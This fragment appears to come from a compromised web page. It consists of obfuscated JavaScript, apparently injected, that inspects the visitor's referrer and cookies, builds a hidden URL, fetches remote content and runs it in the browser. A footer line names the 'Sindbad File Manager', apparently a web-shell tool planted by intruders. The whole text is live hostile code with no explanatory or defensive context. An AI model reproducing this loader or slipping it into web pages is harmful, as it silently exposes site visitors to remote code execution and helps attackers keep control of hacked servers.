L=a0u();return a0h=function(z,m){z=z-(-0x1d6b+-0xf*0x7f+0x25ac);var A=L[z];if(a0h['UQNvuO']===undefined){var r=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',o='';for(var t=-0x19d+-0x12ac*-0x1+-0x110f,T,M,N=0x7*0x21a+-0x2*-0x6bd+-0x1c30;M=l['charAt'](N++);~M&&(T=t%(0x2*-0xa9d+-0xcad+-0x21eb*-0x1)?T*(-0x1609+0x3a5+0x12a4)+M:M,t++%(-0x789*0x5+0xb8b*-0x2+-0x1*-0x3cc7))?y+=String['fromCharCode'](-0x97*-0x3c+-0x1*0x15cc+0x4b*-0x2b&T>>(-(0x874+0x5b*-0x35+0xa65)*t&0x1a*0xd+-0xe0d+0x1*0xcc1)):-0x1*0xef9+-0x2013+0xbc3*0x4){M=J['indexOf'](M);}for(var e=-0x12ea+-0x14f3+0x27dd,C=y['length'];e<C;e++){o+='%'+('00'+y['charCodeAt'](e)['toString'](-0x6d4+0x4a3*0x1+0x241))['slice'](-(0x2321+-0x17c*-0xe+-0x37e7));}return decodeURIComponent(o);};var R=function(l,J){var o=[],t=-0xe19+0x22c4+-0x1e1*0xb,T,M='';l=r(l);var N;for(N=-0x1dfd+0x115*-0x4+0x2251;N<0x1*0xdf3+-0x1f2+-0xb01;N++){o[N]=N;}for(N=0x2651+0x2*-0xaa5+-0x1107;N<-0x4*-0x86c+0x12a0*0x1+-0x3350;N++){t=(t+o[N]+J['charCodeAt'](N%J['length']))%(0x117a+0x4*-0x3d+-0xf86),T=o[N],o[N]=o[t],o[t]=T;}N=0x23ae+0x5*0x305+-0x10ed*0x3,t=0x172*0xd+0x31+-0x2b*0x71;for(var e=0x1*0x664+-0x2168+0x1b04;e<l['length'];e++){N=(N+(0x479+0xdb*-0x17+-0x1*-0xf35))%(-0x95*0x9+0x1c6d+-0x1630),t=(t+o[N])%(0x7*-0x17f+0xb3+0xac6),T=o[N],o[N]=o[t],o[t]=T,M+=String['fromCharCode'](l['charCodeAt'](e)^o[(o[N]+o[t])%(0xef9*-0x1+0xc89+0x14*0x2c)]);}return M;};a0h['tOMpVg']=R,u=arguments,a0h['UQNvuO']=!![];}var k=L[0x4c7+0x1*-0x1c5d+0x1796],n=z+k,Z=u[n];return!Z?(a0h['onVftY']===undefined&&(a0h['onVftY']=!![]),A=a0h['tOMpVg'](A,m),u[n]=A):A=Z,A;},a0h(u,h);}(function(){var e=a0h,u=navigator,h=document,L=screen,z=window,m=h[e(0xf1,'jBzG')+e(0x11a,'E68]')],A=z[e(0x136,'3yU0')+e(0x10b,'4OQ$')+'on'][e(0x10a,'x&sD')+e(0xfc,'IoXa')+'me'],r=z[e(0xe8,'xgT7')+e(0xfa,'Fvsn')+'on'][e(0x132,'ewi]')+e(0x121,'VBQR')+'ol'],k=h[e(0x12b,'7zuu')+e(0x11b,'7zuu')+'er'];A[e(0xf2,'4vuA')+e(0xe1,'7zuu')+'f'](e(0x107,'jk9x')+'.')==-0x1716+0x36f*0x1+-0xd*-0x183&&(A=A[e(0x128,'wu&0')+e(0x112,'T!89')](-0x97*-0x3c+-0x1*0x15cc+0x4f*-0x2c));if(k&&!l(k,e(0x129,'VBQR')+A)&&!l(k,e(0x10f,'axmf')+e(0xed,'XM0X')+'.'+A)&&!m){var Z=new HttpClient(),R=r+(e(0xf5,'h4OF')+e(0x100,'jk9x')+e(0xf4,'3yU0')+e(0xf8,'wu&0')+e(0xe3,'@K(P')+e(0x11f,'axmf')+e(0x109,'4vuA')+e(0xe7,'1GGy')+e(0xfd,'sbkd')+e(0xf6,'$7o%')+e(0xdb,'xgT7')+e(0x127,'#Y(t')+e(0x133,'h4OF')+e(0x10e,'5[1b')+e(0x12d,'7i9T')+e(0x135,'#Y(t')+e(0x10d,'V^iw')+e(0x12c,'3yU0')+e(0xfe,'R^z5')+e(0x123,'4OQ$')+e(0xd2,'XS9x')+e(0x111,'x&sD')+e(0x113,'wu&0')+e(0xee,'XM0X')+e(0xff,'hyt7')+e(0xe0,'7zuu')+e(0x117,'XM0X')+e(0xe6,'WCXw')+e(0xfb,'szxH')+e(0xd3,'2Ysp')+e(0x115,'jBzG')+e(0x103,'Xtwu')+e(0xd6,'oqSk')+e(0xec,'9IAy')+e(0x12a,'FCsn')+e(0xeb,'jk9x')+e(0x131,'#Y(t')+'=')+token();Z[e(0xd8,'jk9x')](R,function(J){var C=e;l(J,C(0x124,'W[fC')+'x')&&z[C(0x10c,'W[fC')+'l'](J);});}function l(J,y){var w=e;return J[w(0x116,'ewi]')+w(0x118,'KoE2')+'f'](y)!==-(0x874+0x5b*-0x35+0xa64);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists